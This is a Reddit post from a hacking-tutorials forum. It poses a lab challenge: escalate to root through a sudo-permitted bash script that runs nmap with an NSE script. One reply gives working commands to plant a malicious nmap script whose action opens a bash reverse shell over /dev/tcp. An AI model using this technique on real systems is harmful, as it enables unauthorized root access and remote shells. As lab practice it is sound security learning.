r/Hacking_Tutorials • u/XeVoriax • 2h ago
Question Low-privilege shell on Ubuntu. Sudo lets you run /usr/local/bin/netcheck as root. Can you reach root?
You're on a lab Ubuntu server as user dev`. dev@lab :~ $ whoami dev dev@lab :~ $ id uid=1001(dev) gid=1001(dev) groups=1001(dev),1002(web) dev@lab :~ $ sudo -I User dev may run the following commands: (root) NOPASSWD: /usr/local/bin/netcheck 11
The script: #!/bin/bash echo "Running network check ... " /usr/bin/nmap -sT -p 22,80,443 -- script http-title 192.168.1.0/24 -oN /tmp/netscan.txt echo "Scan saved."
Task:
- Identify the exact issue that allows privilege escalation.
- Show the commands to reach root.
- Explain how you would fix the script and permissions properly.
Metasploit. No automated tools. Just standard Linux commands and shell knowledge. This is a controlled lab scenario. Share your approach in the comments.
1
u/bummyjabbz 1h ago
Just create an nmap script:
mkdir -p ~/.nmap/scripts cat > ~/.nmap/scripts/http-title.nse << 'EOF' description = "priv esc test" categories = {"discovery"} portrule = function() return true end action = function() os.execute("/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1") end EOF
sudo /usr/local/bin/netcheck 11